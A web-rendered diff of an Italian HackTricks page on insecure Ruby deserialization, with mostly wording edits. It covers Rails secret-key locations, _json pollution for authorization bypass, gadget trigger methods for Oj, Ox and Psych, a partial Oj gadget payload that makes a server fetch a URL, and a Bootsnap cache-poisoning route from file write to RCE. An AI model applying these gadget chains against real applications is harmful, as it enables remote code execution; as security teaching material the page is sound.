In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria **marshal**. Il primo metodo, noto come **dump**, viene utilizzato per trasformare un oggetto in un flusso di byte. Questo processo è noto come serializzazione. Al contrario, il secondo metodo, **load**, viene impiegato per riportare un flusso di byte indietro in un oggetto, un processo noto come deserializzazione.
|
||||
|
||||
Per garantire la sicurezza degli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, assicurando l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in una delle diverse posizioni possibili:
|
||||
Per garantire la sicurezza degli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, assicurando l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in uno dei diversi possibili luoghi:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -854,7 +907,7 @@ Controlla come potrebbe essere possibile [inquinare una classe Ruby e abusarne q
|
||||
|
||||
### Inquinamento _json di Ruby
|
||||
|
||||
Quando si inviano nel corpo alcuni valori non hashabili come un array, verranno aggiunti a una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attaccante impostare nel corpo un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend, ad esempio, controlla la veridicità di un parametro ma poi utilizza anche il parametro `_json` per eseguire un'azione, potrebbe verificarsi un bypass dell'autorizzazione.
|
||||
Quando si inviano nel corpo alcuni valori non hashable come un array, verranno aggiunti a una nuova chiave chiamata `_json`. Tuttavia, è possibile per un attaccante impostare nel corpo un valore chiamato `_json` con i valori arbitrari che desidera. Quindi, se il backend, ad esempio, controlla la veridicità di un parametro ma poi utilizza anche il parametro `_json` per eseguire qualche azione, potrebbe verificarsi un bypass dell'autorizzazione.
|
||||
|
||||
Controlla ulteriori informazioni nella [pagina di inquinamento _json di Ruby](ruby-_json-pollution.md).
|
||||
|
||||
@ -864,7 +917,7 @@ Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/
|
||||
|
||||
Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Esempio base:
|
||||
```ruby
|
||||
@ -888,7 +941,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch_path, il quale è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate.
|
||||
Nel caso in cui si tenti di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch_path, il quale è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -932,7 +985,7 @@ Di seguito è riportato un breve riassunto dei passaggi dettagliati nell'articol
|
||||
|
||||
- Identificare la Vulnerabilità e l'Ambiente
|
||||
|
||||
La funzionalità di caricamento file dell'app Rails consente a un attaccante di scrivere file arbitrariamente. Anche se l'app funziona con restrizioni (solo alcune directory come tmp sono scrivibili a causa dell'utente non root di Docker), questo consente comunque di scrivere nella directory della cache di Bootsnap (tipicamente sotto tmp/cache/bootsnap).
|
||||
La funzionalità di upload di file dell'app Rails consente a un attaccante di scrivere file arbitrariamente. Anche se l'app funziona con restrizioni (solo alcune directory come tmp sono scrivibili a causa dell'utente non root di Docker), questo consente comunque di scrivere nella directory della cache di Bootsnap (tipicamente sotto tmp/cache/bootsnap).
|
||||
|
||||
- Comprendere il Meccanismo di Cache di Bootsnap
|
||||
|
||||
@ -940,7 +993,7 @@ Bootsnap accelera i tempi di avvio di Rails memorizzando nella cache il codice R
|
||||
|
||||
- Raccogliere i Metadati del File
|
||||
|
||||
L'attaccante seleziona prima un file di destinazione che è probabile venga caricato durante l'avvio di Rails (ad esempio, set.rb dalla libreria standard di Ruby). Eseguendo codice Ruby all'interno del contenitore, estrae metadati critici (come RUBY_VERSION, RUBY_REVISION, dimensione, mtime e compile_option). Questi dati sono essenziali per creare una chiave di cache valida.
|
||||
L'attaccante seleziona prima un file target che è probabile venga caricato durante l'avvio di Rails (ad esempio, set.rb dalla libreria standard di Ruby). Eseguendo codice Ruby all'interno del contenitore, estrae metadati critici (come RUBY_VERSION, RUBY_REVISION, dimensione, mtime e compile_option). Questi dati sono essenziali per creare una chiave di cache valida.
|
||||
|
||||
- Calcolare il Percorso del File di Cache
|
||||
|
||||
@ -950,14 +1003,13 @@ Replicando il meccanismo di hash FNV-1a a 64 bit di Bootsnap, viene determinato
|
||||
|
||||
L'attaccante prepara un payload che:
|
||||
|
||||
- Esegue comandi arbitrari (ad esempio, eseguendo id per mostrare le informazioni sul processo).
|
||||
- Esegue comandi arbitrari (ad esempio, eseguendo id per mostrare informazioni sul processo).
|
||||
- Rimuove la cache malevola dopo l'esecuzione per prevenire sfruttamenti ricorsivi.
|
||||
- Carica il file originale (ad esempio, set.rb) per evitare di far crashare l'applicazione.
|
||||
|
||||
Questo payload viene compilato in codice Ruby binario e concatenato con un'intestazione della chiave di cache accuratamente costruita (utilizzando i metadati raccolti in precedenza e il numero di versione corretto per Bootsnap).
|
||||
|
||||
- Sovrascrivere e Attivare l'Esecuzione
|
||||
Utilizzando la vulnerabilità di scrittura di file arbitraria, l'attaccante scrive il file di cache creato nella posizione calcolata. Successivamente, attiva un riavvio del server (scrivendo in tmp/restart.txt, che è monitorato da Puma). Durante il riavvio, quando Rails richiede il file mirato, il file di cache malevolo viene caricato, risultando in un'esecuzione di codice remoto (RCE).
|
||||
|
||||
Utilizzando la vulnerabilità di scrittura di file arbitraria, l'attaccante scrive il file di cache creato nella posizione calcolata. Successivamente, attivano un riavvio del server (scrivendo in tmp/restart.txt, che è monitorato da Puma). Durante il riavvio, quando Rails richiede il file target, il file di cache malevolo viene caricato, risultando in un'esecuzione di codice remoto (RCE).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user